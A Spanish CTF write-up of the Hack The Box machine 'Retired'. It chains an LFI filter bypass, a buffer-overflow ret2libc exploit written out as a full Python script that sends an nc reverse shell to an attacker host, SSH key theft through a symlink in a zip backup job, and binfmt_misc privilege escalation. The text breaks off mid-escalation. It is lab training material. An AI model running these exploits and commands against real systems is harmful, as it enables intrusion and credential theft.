Retired (Medium)
root@SynAckLabs:~# ./show_index.sh

Resumen
Esta máquina ha sido de las más duras que he hecho. La parte de explotación se apoya en un stack-based buffer overflow y, siendo sinceros, no soy muy fan del buffer overflow, así que me obligó a ir con mucho más cuidado de lo normal.
A grandes rasgos, la intrusión va así:
- Enumeración web y descubrimiento de un LFI en
page=usandophp://filter. - Bypass del filtro de path traversal por cómo usan
str_replace. - Descubrimiento de un servicio interno que procesa licencias y que es vulnerable a BOF.
- Explotación con Ret2Libc (por NX) y obtención de reverse shell.
- Escalada a
devabusando de un backup service conzip. - Escalada a
rootabusando de binfmt_misc mediante un helper concap_dac_override.
Enumeración inicial
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkfdfWGso2b9nD1yYlcq35Rrc1OCqcabTsuKoIlCXMayYEXqqWVohwu+rXyX06gzGR4EYp/fvb1BUo7n819iCzKhFjf2W2RHWfBne9TpRShBtQJ95oQhM6djuEahYzOTWiO1wTYqMdZQwANin/HXPIu2i+KoeeeOPL6g0qE2e4pMKI+BDo4SteVObt3ssP5NLTmNOSqVqKoFnUTNNnyqlwcbO67tRVINku2Kc6LH/HV0XBGjVqMmwfz3MokaBmAqTpn2td6x7CKcPRfiRgIB5AqkePgqHZl8Wn+TdsG6gziPJ6+NVcvadMJ2ErsJLuchds0ZNToG3P879UTFUrF9Qn+Z0TiTN7X0FgbOGG6u7iaN/r4NP0t2qmp2rS+se+Q/j21T4jBFJOXxqjRWQvGfayIKic4Enkxwv5WvAd3uNm9R/WEIxf7Ol0eMK39fUdfElOTViPNOyW/vT6gA9DxcBZM/X1xPgC1XqNKs0mdA1cZY34BQVffDQ2carfW9JzBb8=
| 256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKT7918Wsxx40zkqP9APcaPrC5DXZf5yJdrTvgykTvijs34VtZ+QnelzftO5kayBMgNgnOe1e6lj/VKK4l+38OU=
| 256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOvB+7fNvrbSjtwto1GCaTWqRasmSlmx+oz5dveP8m5/
80/tcp open http syn-ack ttl 63 nginx
| http-title: Agency - Start Bootstrap Theme
|_Requested resource was /index.php?page=default.html
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_ Supported Methods: GET HEAD POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

En la web, por defecto no hay mucho, así que toca hacer fuzzing.
Fuzzing y descubrimiento de beta.html
Encontramos un beta.html en el fuzzing de directorios.
gobuster dir -u
http://10.129.71.227
-w /usr/share/dirb/wordlists/common.txt -x php,html -q
/assets (Status: 301) [Size: 162] [-->
http://10.129.71.227/assets/
]
/beta.html (Status: 200) [Size: 4144]
/css (Status: 301) [Size: 162] [-->
http://10.129.71.227/css/
]
/default.html (Status: 200) [Size: 11414]

LFI en page= con php://filter
Vemos que en el endpoint principal hay un parámetro modificable page=. El comportamiento sugiere LFI usando php://filter/read=convert.base64-encode/resource=....

Al leer default.html en Base64, simplemente decodificando obtenemos el contenido en texto claro.
Hay un filtro que intenta evitar el típico ../.., pero se puede bypassear con doble barra ..//...

Intento de Log Poisoning (no viable)
Probamos log poisoning leyendo:
php://filter/read=convert.base64-encode/resource=/var/log/nginx/access.logphp://filter/read=convert.base64-encode/resource=/var/log/nginx/error.log
Pero no funciona, porque la función no interpreta PHP, solo devuelve el archivo literalmente.
Bypass del filtro (por str_replace no recursivo)
Aquí está el problema.

- Esto busca la cadena
../y la elimina. - La vulnerabilidad:
str_replaceno es recursivo. Solo lo hace una vez. - El bypass: si se envía
....//, el sistema elimina los dos caracteres del medio (../) y une los extremos, creando un nuevo../que el sistema ya no revisa.

Archivos interesantes vía LFI
Con el LFI ya podemos extraer rutas/configuraciones. Por ejemplo:
nginx.conf
user www-data;
worker_processes auto;
pid /run/
nginx.pid
;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
}
http {
sendfile on;
tcp_nopush on;
types_hash_max_size 2048;
server_tokens off;
server_names_hash_bucket_size 64;
server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
gzip on;
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
Y también /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
_chrony:x:105:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
vagrant:x:1000:1000::/vagrant:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
dev:x:1001:1001::/home/dev:/bin/bash
Users: www-data, vagrant
RFI (no viable)
Probamos con un RFI, pero no ejecuta.

Fuzzing de archivos sensibles
──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u
http://previous.htb/index.php?page=php://filter/read=convert.base64-encode/resource=..//..//..//..//..//FUZZ
-fs 0
..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms]
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 28ms]
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 56ms]
/etc/apt/sources.list [Status: 200, Size: 632, Words: 1, Lines: 1, Duration: 31ms]
/etc/crontab [Status: 200, Size: 1392, Words: 1, Lines: 1, Duration: 26ms]
/etc/fstab [Status: 200, Size: 436, Words: 1, Lines: 1, Duration: 32ms]
/etc/group [Status: 200, Size: 940, Words: 1, Lines: 1, Duration: 26ms]
../../../../../../../../../../../../etc/hosts [Status: 200, Size: 208, Words: 1, Lines: 1, Duration: 30ms]
/etc/hosts [Status: 200, Size: 208, Words: 1, Lines: 1, Duration: 31ms]
/etc/hosts.deny [Status: 200, Size: 948, Words: 1, Lines: 1, Duration: 72ms]
/etc/hosts.allow [Status: 200, Size: 548, Words: 1, Lines: 1, Duration: 73ms]
/etc/netconfig [Status: 200, Size: 1024, Words: 1, Lines: 1, Duration: 37ms]
/etc/motd [Status: 200, Size: 384, Words: 1, Lines: 1, Duration: 42ms]
/etc/issue [Status: 200, Size: 36, Words: 1, Lines: 1, Duration: 45ms]
/etc/nsswitch.conf [Status: 200, Size: 680, Words: 1, Lines: 1, Duration: 45ms]
/./././././././././././etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 40ms]
/etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 28ms]
../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 26ms]
../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 26ms]
../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms]
../../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms]
../../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 26ms]
../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms]
/../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 31ms]
../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 30ms]
../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 29ms]
../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 31ms]
../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 29ms]
../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 42ms]
../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 42ms]
../../../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 42ms]
../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms]
../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms]
../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms]
../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 43ms]
../../../../../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 44ms]
../../../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 45ms]
../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 49ms]
../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 46ms]
../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 46ms]
etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 48ms]
../../../../../../etc/passwd&=%3C%3C%3C%3C [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 27ms]
/etc/rpc [Status: 200, Size: 1184, Words: 1, Lines: 1, Duration: 26ms]
/etc/resolv.conf [Status: 200, Size: 52, Words: 1, Lines: 1, Duration: 26ms]
/etc/ssh/sshd_config [Status: 200, Size: 4452, Words: 1, Lines: 1, Duration: 26ms]
/proc/net/dev [Status: 200, Size: 600, Words: 1, Lines: 1, Duration: 32ms]
/proc/net/arp [Status: 200, Size: 208, Words: 1, Lines: 1, Duration: 37ms]
/proc/cpuinfo [Status: 200, Size: 3040, Words: 1, Lines: 1, Duration: 41ms]
/proc/mounts [Status: 200, Size: 1956, Words: 1, Lines: 1, Duration: 41ms]
/proc/interrupts [Status: 200, Size: 5576, Words: 1, Lines: 1, Duration: 41ms]
/proc/loadavg [Status: 200, Size: 36, Words: 1, Lines: 1, Duration: 41ms]
/proc/meminfo [Status: 200, Size: 1892, Words: 1, Lines: 1, Duration: 41ms]
/proc/net/route [Status: 200, Size: 512, Words: 1, Lines: 1, Duration: 26ms]
/proc/net/tcp [Status: 200, Size: 8800, Words: 1, Lines: 1, Duration: 26ms]
/proc/self/cmdline [Status: 200, Size: 104, Words: 1, Lines: 1, Duration: 39ms]
/proc/partitions [Status: 200, Size: 156, Words: 1, Lines: 1, Duration: 42ms]
/proc/self/status [Status: 200, Size: 1780, Words: 1, Lines: 1, Duration: 39ms]
/proc/version [Status: 200, Size: 248, Words: 1, Lines: 1, Duration: 39ms]
/var/log/lastlog [Status: 200, Size: 390112, Words: 1, Lines: 1, Duration: 29ms]
/var/log/wtmp [Status: 200, Size: 15360, Words: 1, Lines: 1, Duration: 25ms]
/var/run/utmp [Status: 200, Size: 1536, Words: 1, Lines: 1, Duration: 26ms]
///////../../../etc/passwd [Status: 200, Size: 1984, Words: 1, Lines: 1, Duration: 25ms]
Activación de licencia y servicio interno
Conseguimos el código de beta.html y vemos un formulario que “activa la licencia”.

El formulario envía información a un puerto local. Esto apunta a un binario/servicio que recibe y procesa ese “licensefile”.
cat activate_liscence.php
<?php
if(isset($_FILES['licensefile'])) {
$license = file_get_contents($_FILES['licensefile']['tmp_name']);
$license_size = $_FILES['licensefile']['size'];
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!$socket) { echo "error socket_create()\n"; }
if (!socket_connect($socket, '127.0.0.1', 1337)) {
echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";
}
socket_write($socket, pack("N", $license_size));
socket_write($socket, $license);
socket_shutdown($socket);
socket_close($socket);
}
?>

Efectivamente, el puerto está escuchando.

Hacemos strings buscando credenciales, pero lo más relevante son referencias a sqlite3, y pinta a que aquí viene lo divertido: Buffer Overflow.
Protecciones del binario
Revisamos controles de seguridad.

Esto indica que no podemos ejecutar código desde el stack (NX). También vemos que los canaries no están activados, así que es viable un stack-based buffer overflow.
Análisis en Ghidra: el bug
uint32_t msglen;
char buffer [512];
sVar2 = read(sockfd,&msglen,4);
if (sVar2 == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
msglen = ntohl(msglen);
printf("[+] reading %d bytes\n",msglen);
sVar2 = read(sockfd,buffer,(ulong)msglen);
Este código es vulnerable porque msglen está controlado por el usuario. Si enviamos un tamaño mayor que 512, read() desbordará el buffer.
Para continuar, tenemos que identificar el offset hasta el Saved RIP (dirección de retorno). En x64, la dirección de retorno queda en la pila justo después de las variables locales, pero puede haber alineación, así que no asumimos que es exactamente 512.
Encontrar el offset con patrón
Usamos gdb y un patrón.
pattern create 600

El exploit para determinar el offset:

El programa primero lee 4 bytes para saber cuánto mide el mensaje que vendrá después.
len(msg): calcula la longitud del patrón.p32(...): empaqueta ese número en 4 bytes.endian='big': coincide con elntohldel C (network order = big endian).
Al principio explota porque falta una base de datos.

Creamos una base de datos fake license.sqlite3 y ahora sí.

pattern search $rsp
¿Por qué $rsp****?
En x64, cuando se ejecuta RET, el procesador toma la dirección de retorno de donde apunta RSP. Como nosotros sobreescribimos la pila con el patrón, ese valor está ahí.

Obtenemos un offset de 520.
Ret2Libc
Con NX activo, no podemos ejecutar shellcode en la pila. La alternativa es Ret2Libc: reutilizar funciones de libc (por ejemplo system()).
Por ASLR, libc cambia de dirección en cada ejecución, así que necesitamos filtrar las bases:
actbase: base del binarioactivate_license.libcbase: base de la libreríalibc.
Para eso leemos /proc/<PID>/maps del proceso activate_license, y antes necesitamos el PID.

Tenemos PID (419).

activate_license→ 55591a82b000libc→ 7ff574bbe000
Offset de system() en libc
Descargamos libc-2.31.so del servidor para analizarla.
curl http://10.129.227.96/index.php?page=a.....///.....///.....///.....///.....///.....///.....///usr/lib/x86_64-linux-gnu/libc-2.31.so -o libc-2.31.so
objdump nos permite localizar system (offset 0x00048e50).

pop rdi; ret y zona escribible
En x64, el primer argumento de una función va en RDI, así que necesitamos un gadget pop rdi; ret.
┌──(root㉿kali)-[/home/…/Desktop/HTB/Retired/exploit]
└─# ropper -f ../loot/activate_license --search 'pop rdi; ret'
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret
[INFO] File: ../loot/activate_license
0x000000000000181b: pop rdi; ret;
Como no podemos dejar un comando largo “tal cual” en un registro, el enfoque es:
- Buscar una zona escribible (por ejemplo
.data). - Escribir ahí el comando en trozos.
- Llamar a
system()apuntando a esa dirección.
Con rabin2 -S vemos secciones y permisos (por ejemplo .data es -rw-).
┌──(root㉿kali)-[/home/…/Desktop/HTB/Retired/exploit]
└─# rabin2 -S ../loot/activate_license
[Sections]
nth paddr size vaddr vsize perm type name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ---- NULL
1 0x000002a8 0x1c 0x000002a8 0x1c -r-- PROGBITS .interp
2 0x000002c4 0x24 0x000002c4 0x24 -r-- NOTE .
note.gnu.build
-id
3 0x000002e8 0x20 0x000002e8 0x20 -r-- NOTE .note.ABI-tag
4 0x00000308 0x28 0x00000308 0x28 -r-- GNU_HASH .gnu.hash
5 0x00000330 0x390 0x00000330 0x390 -r-- DYNSYM .dynsym
6 0x000006c0 0x1cc 0x000006c0 0x1cc -r-- STRTAB .dynstr
7 0x0000088c 0x4c 0x0000088c 0x4c -r-- GNU_VERSYM .gnu.version
8 0x000008d8 0x30 0x000008d8 0x30 -r-- GNU_VERNEED .gnu.version_r
9 0x00000908 0xd8 0x00000908 0xd8 -r-- RELA .rela.dyn
10 0x000009e0 0x2d0 0x000009e0 0x2d0 -r-- RELA .rela.plt
11 0x00001000 0x17 0x00001000 0x17 -r-x PROGBITS .init
12 0x00001020 0x1f0 0x00001020 0x1f0 -r-x PROGBITS .plt
13 0x00001210 0x8 0x00001210 0x8 -r-x PROGBITS .
plt.got
14 0x00001220 0x601 0x00001220 0x601 -r-x PROGBITS .text
15 0x00001824 0x9 0x00001824 0x9 -r-x PROGBITS .fini
16 0x00002000 0x18b 0x00002000 0x18b -r-- PROGBITS .rodata
17 0x0000218c 0x4c 0x0000218c 0x4c -r-- PROGBITS .eh_frame_hdr
18 0x000021d8 0x140 0x000021d8 0x140 -r-- PROGBITS .eh_frame
19 0x00002cb8 0x8 0x00003cb8 0x8 -rw- INIT_ARRAY .init_array
20 0x00002cc0 0x8 0x00003cc0 0x8 -rw- FINI_ARRAY .fini_array
21 0x00002cc8 0x200 0x00003cc8 0x200 -rw- DYNAMIC .dynamic
22 0x00002ec8 0x138 0x00003ec8 0x138 -rw- PROGBITS .got
23 0x00003000 0x10 0x00004000 0x10 -rw- PROGBITS .data
24 0x00003010 0x0 0x00004010 0x8 -rw- NOBITS .bss
25 0x00003010 0x27 0x00000000 0x27 ---- PROGBITS .comment
26 0x00003037 0x30 0x00000000 0x30 ---- PROGBITS .debug_aranges
27 0x00003067 0x688 0x00000000 0x688 ---- PROGBITS .debug_info
28 0x000036ef 0x1b9 0x00000000 0x1b9 ---- PROGBITS .debug_abbrev
29 0x000038a8 0x28a 0x00000000 0x28a ---- PROGBITS .debug_line
30 0x00003b32 0x577 0x00000000 0x577 ---- PROGBITS .debug_str
31 0x000040b0 0x960 0x00000000 0x960 ---- SYMTAB .symtab
32 0x00004a10 0x437 0x00000000 0x437 ---- STRTAB .strtab
33 0x00004e47 0x13e 0x00000000 0x13e ---- STRTAB .shstrtab
Exploit
#!/usr/bin/python3
from sys import argv
from pwn import *
import requests
# Esta función realiza todo el ataque
def perform_rce(rhost, lhost):
# --- 1. DIRECCIONES BASE (ASLR) ---
# Dirección base donde se cargó el programa "activate_license"
# (Coincide con la primera línea de /proc/maps)
actbase = 0x561afcc08000
# Dirección base donde se cargó la librería "libc"
# (Coincide con la línea de libc-2.31.so en /proc/maps)
libcbase = 0x7fc7d4c5c000
print(f"[+] ActBase: {hex(actbase)}")
print(f"[+] LibcBase: {hex(libcbase)}")
# --- 2. GADGETS (HERRAMIENTAS DE ROP) ---
# Son instrucciones pequeñas que ya existen en el programa/libc.
# Gadget en el binario principal
# Sirve para poner el primer argumento de una función (RDI)
pop_rdi = p64(actbase + 0x0000181b) # pop rdi; ret;
# Gadget en Libc: Sirve para poner el segundo argumento (RDX)
# Lo usamos como "mochila" para llevar los trozos de nuestro comando
pop_rdx = p64(libcbase + 0x000cb1cd) # pop rdx; ret;
# Gadget en Libc: LA CLAVE. Mueve lo de la mochila (RDX) a la memoria (RDI)
mov_gadget = p64(libcbase + 0x0003ace5) # mov qword ptr [rdi], rdx; ret;
# Dirección de la función system() en Libc
system_addr = p64(libcbase + 0x00048e50)
# --- 3. ZONA ESCRIBIBLE ---
# Offset 0x4000 sacado de rabin2 (Sección .data)
# Aquí es donde escribiremos nuestro comando malicioso byte a byte.
writable = actbase + 0x00004000
# Offset del Buffer Overflow (confirmado previamente como 520)
offset = 520
# --- 4. PREPARAR EL COMANDO (PAYLOAD) ---
# Creamos el comando de reverse shell.
# Usamos mkfifo porque funciona en casi cualquier Linux, tenga bash o sh.
cmd = f"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} 4444>/tmp/f".encode()
# Añadimos un byte nulo (\x00) al final porque en C las cadenas terminan así.
cmd += b"\x00"
# Rellenamos con ceros hasta que la longitud sea múltiplo de 8
# (Necesario porque en 64 bits escribimos de 8 en 8 bytes)
if len(cmd) % 8 != 0:
cmd += b"\x00" * (8 - (len(cmd) % 8))
# --- 5. CONSTRUCCIÓN DE LA ROP CHAIN ---
rop = b''
rop += b'A' * offset # Relleno basura hasta llegar al RIP (Instruction Pointer)
# BUCLE DE ESCRITURA (Write-What-Where)
# Divide el comando en trozos de 8 bytes y los escribe en la memoria .data
for i in range(0, len(cmd), 8):
chunk = cmd[i:i+8] # Coger 8 letras del comando
# Paso A: Decirle DÓNDE escribir (RDI = dirección .data + desplazamiento)
rop += pop_rdi
rop += p64(writable + i)
# Paso B: Decirle QUÉ escribir (RDX = las 8 letras)
rop += pop_rdx
rop += chunk.ljust(8, b"\x00")
# Paso C: Ejecutar la escritura (Mover RDX dentro de [RDI])
rop += mov_gadget
# --- 6. EJECUCIÓN FINAL ---
# Ahora que el comando está escrito en la memoria 'writable', lo ejecutamos.
rop += pop_rdi # Poner en RDI la dirección donde escribimos el comando
rop += p64(writable)
rop += system_addr # Llamar a system() -> system("tu_comando")
# --- 7. EMPAQUETADO Y ENVÍO ---
# Guardamos el ROP en un archivo
filename = 'revshell.key'
with open(filename, 'wb') as f:
f.write(rop)
print(f"[+] Payload generado en {filename}")
print(f"[+] Enviando petición a http://{rhost}/activate_license.php ...")
# Preparamos la subida del archivo tal como lo espera el PHP
files = {
"licensefile": (filename, open(filename, "rb"), 'application/octet-stream')
}
try:
# Enviamos el POST. El PHP leerá el archivo y activará el buffer overflow.
requests.post(f"http://{rhost}/activate_license.php", files=files)
print("[+] Exploit enviado. ¡Revisa tu listener (nc -lvnp 7777)!")
except Exception as e:
print(f"[-] Error enviando exploit: {e}")
# Punto de entrada del script
if __name__ == "__main__":
if len(argv) < 3:
print(f"Uso: python3 {argv[0]} <RHOST> <LHOST>")
print("Ejemplo: python3 exploit.py 10.129.227.96 10.10.15.44")
exit(1)
perform_rce(argv[1], argv[2])
Tenemos reverse shell.

Escalada a dev vía servicio de backups
Enumerando en busca de credenciales (queremos acceso a dev), en /var/www vemos .zip que parecen backups. No hay mucho directo, pero hay timers configurados.

Nos llama la atención el backup service, porque se ejecuta como dev.

El script:
www-data@retired:/var/www$ cat /usr/bin/webbackup
#!/bin/bash
set -euf -o pipefail
cd /var/www/
SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"
/usr/bin/rm --force -- "$DST"
/usr/bin/zip --recurse-paths "$DST" "$SRC"
KEEP=10
/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \
| sort --zero-terminated --numeric-sort --reverse \
| while IFS= read -r -d '' backup; do
if [ "$KEEP" -le 0 ]; then
/usr/bin/rm --force -- "$backup"
fi
KEEP="$((KEEP-1))"
done
La idea es aprovechar cómo zip trata enlaces simbólicos cuando corre como dev:
- El sistema arranca el script como el usuario
dev. zipempieza a comprimir/var/www/html.zipse encuentra con un enlace simbólico.- El comportamiento por defecto de
zipes seguir enlaces simbólicos y archivar el destino. - Como el script corre como
dev, tiene permisos de lectura sobre/home/dev. - El
.zipgenerado en/var/www/puede incluir ficheros dedev.
Creamos el symlink. No me ha funcionado apuntando a todo /home/dev, así que apuntamos directamente a la clave SSH.
ln -s /home/dev/.ssh/id_rsa ssh_key.txt
unzip 2026-01-16_11-06-06-html.zip
Archive: 2026-01-16_11-06-06-html.zip
....
inflating: var/www/html/ssh_key.txt
....
Con esto conseguimos user flag.

Escalada a root: binfmt_misc + capabilities
En el directorio de dev encontramos un proyecto en C.

emuemu.c:
dev@retired:~/emuemu$ cat emuemu.c
#include <stdio.h>
/* currently this is only a dummy implementation doing nothing */
int main(void) {
puts("EMUEMU is still under development.");
return 1;
}
Y otro archivo que permite escribir en binfmt_misc/register.
dev@retired:~/emuemu$ cat reg_helper.c
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
char cmd[512] = { 0 };
read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;
int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
if (-1 == fd)
perror("open");
if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
perror("write");
if (close(fd) == -1)
perror("close");
return 0;
}
Encontramos la idea en “HackTricks”:
/proc/sys/fs/binfmt_misc
/proc/sys/fs/binfmt_misc allows executing miscellaneous binary formats, which typically means various interpreters can be registered for non-native binary formats (such as Java) based on their magic number. You can make the kernel execute a binary registering it as handlers.
You can find an exploit in https://github.com/toffan/binfmt_misc: Poor man's rootkit, leverage binfmt_misc's credentials option to escalate privilege through any suid binary (and to get a root shell) if /proc/sys/fs/binfmt_misc/register is writeable.
Del Makefile se ve que reg_helper se instala en /usr/lib/emuemu y recibe cap_dac_override, permitiendo escribir en el register.
dev@retired:~/emuemu$ cat Makefile
CC := gcc
CFLAGS := -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion
SOURCES := $(wildcard *.c)
TARGETS := $(SOURCES:.c=)
.PHONY: install clean
install: $(TARGETS)
@echo "[+] Installing program files"
install --mode 0755 emuemu /usr/bin/
mkdir --parent --mode 0755 /usr/lib/emuemu /usr/lib/binfmt.d
install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper
@echo "[+] Register OSTRICH ROMs for execution with EMUEMU"
echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
| tee /usr/lib/binfmt.d/emuemu.conf \
| /usr/lib/emuemu/reg_helper
clean:
rm -f -- $(TARGETS)
Confirmamos que existe, es ejecutable por el grupo dev y tiene cap_dac_override.

Según la documentación del kernel: Kernel Support for miscellaneous Binary Formats (binfmt_misc) — The Linux Kernel documentation
Para registrar un tipo nuevo hay que escribir una cadena con este formato:
:name:type:offset:magic:mask:interpreter:flags
El flag que nos interesa:
C- credentialsCuando se incluye, las credenciales se calculan según el binario. Implica
O, y si se combina con setuid root, el intérprete puede ejecutarse con privilegios elevados.
La idea es registrar una entrada con C para que se ejecute como root.
Creamos un binario que asigna permisos laxos a /bin/bash para explotar el comportamiento, y lo usamos como intérprete.

Lo compilamos:
gcc -o root root.c
Buscamos un binario SUID root para disparar la ejecución.
dev@retired:~/emuemu$ find / -user root -perm -4000 -executable 2>/dev/null
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/mount
/usr/bin/umount
/usr/lib/openssh/ssh-keysign
Podemos usar cualquiera de estos ejecutables.
Con la flag E podemos registrar por extensión.
typees el tipo de reconocimiento.Mpara magic yEpara extension.
